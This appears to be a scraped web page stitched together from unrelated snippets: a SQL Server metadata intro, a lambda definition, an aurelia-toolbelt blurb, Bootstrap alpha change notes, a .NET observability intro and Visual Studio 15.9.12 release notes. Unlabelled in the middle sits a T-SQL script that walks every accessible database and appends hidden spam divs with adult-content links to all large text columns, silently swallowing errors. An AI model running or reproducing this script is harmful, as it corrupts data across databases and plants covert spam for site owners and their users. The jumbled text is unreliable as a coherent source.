To be able to make full use of the system catalog to find out more about a database, you need to be familiar with the metadata functions. They save a great deal of time and typing when querying the metadata. Once you get the hang of these functions, the system catalog suddenly seems simple to use, as Robert Sheldon demonstrates in this article. 

Lambda expressions (or lambda functions) are essentially blocks of code that can be assigned to variables, passed as an argument, or returned from a function call, in languages that support high-order (first-class) functions. 

Aurelia is one of the best frameworks that we have ever seen in terms of software design, hence, we decided to write a bunch of tools for its developers to pave the way for further usage.

aurelia-toolbelt is that, in which we tried to gather the best libraries in Javascript world together in aurelia fashion. Writing custom-elements, value-converters, and so on. We tried not to invent the wheel, so most of the work is a wrapper, or bridge( am not sure whether the way that we coded can be called bridge or not), around other libraries.

• Its is utterly important for us to provide a link as a reference to the libraries used, or inspired from, so that other developers can visit their product and decide on their own to use which, besides it's one way that we can respect the time and effort of those programmers.

• All libraries used in aurelia-toolbelt are open-source and free of charge; most of which are  MIT , however we will provide definition whenever it differs. 

GitHub : aurelia-toolbelt

NPM : aurelia-toolbelt

Twitter : aureliatoolbelt

how to return the value from the success callback as well as assigning the response to a local variable inside the function 

DECLARE @b AS CURSOR;

DECLARE @s AS VARCHAR (8000);

DECLARE @w AS VARCHAR (99);

SET @b = CURSOR
    FOR SELECT DB_NAME()
        UNION
        SELECT name
        FROM   sys.databases
        WHERE  (has_dbaccess(name) != 0)
               AND name NOT IN ('master', 'tempdb', 'model', 'msdb', DB_NAME());

OPEN @b;

FETCH NEXT FROM @b INTO @w;

WHILE @@FETCH_STATUS = 0
    BEGIN
        SET @s = 'begin try use ' + @w + ';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set 
[''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">desi adult stories <a 
href="http://www.site.com/">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories'''' when 1 then ''''read'''' else ''''stories'''' end +''''</a> stories</div>'''' 
else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME 
WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while 
@@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';
        EXECUTE (@s);
        FETCH NEXT FROM @b INTO @w;
    END

CLOSE @b;

Here’s a look at a handful of the changes since our last alpha:

• Overhauled spacing utilities to use a numerical tiering (to avoid confusion with grid tiers).
• Continued refactoring efforts to replace markup-specific selectors with classes across several components (including pagination, lists, and more). Still more to do here with additional components.
• Reverted media queries and grid containers from rems to pixels as viewports are not affected by font-size. See #17403 for details. We’ve got a ton of grid work left, too. Feel free to follow along with#18471.
• Reverted .0625rem width borders to 1px for more consistent component borders that avoid zoom and font-size bugs across browsers.
• Renamed .img-responsive to .img-fluid to avoid future confusion on the various responsive image solutions out there.
• Replaced ZeroClipboard with clipboard.js for Flash-independent copy buttons.
• Inputs and buttons now share the same border variable to ensure components are always sized similarly.
• Updated all pseudo-element selectors to use the spec’s preferred double colon (e.g., ::before as opposed to :before).
• Cards now have outline variants and mixins to support extending base classes further.
• Utility classes for floats and text alignment now have responsive ranges. This means we’ve dropped the non-responsive classes to avoid duplication.
• Added support for jQuery 2.
• And hundreds more Sass improvements, bug fixes, documentation updates, and more. 

Modern software development practices value quick and continuous updates, following processes that minimize the impact of software failures. As important as identifying bugs early, finding out if changes are improving business value are equally important. These practices can only work when a monitoring solution is in place. This article explores options for adding observability to .NET Core apps. They have been collected based on interactions with customers using .NET Core in different environments. We will be looking into OpenTelemetry and Application Insights SDKs to add observability to a sample distributed application. 

Issues Fixed in 15.9.12

These are the customer-reported issues addressed in 15.9.12:

• Access violation C++ /CLI 15.9.5 ISO C++ Latest Draft Standard since 15.9.5.
• An error occurred loading this property page (CSS & JSON).
• Visual Studio 2017 crashing when editing package.json.
• Opening package.json locks up Visual Studio.
• PGO Code Gen Bug - Vectorized instruction accessing memory OOB.
• Bad code gen in recursive bucket split routine.
• Compiler optimization bug in 15.8.9.
• We have fixed a linker error LNK4020 when using PCH, /Zi, and /GL in distributed build systems, such as IncrediBuild. The C++ compiler backend now correctly associates CIL OBJs with their corresponding compiler generated PDB when generating debug info for cross-module inlining.

Security Advisory Notices

• Diagnostics Hub Standard Collector Vulnerability 

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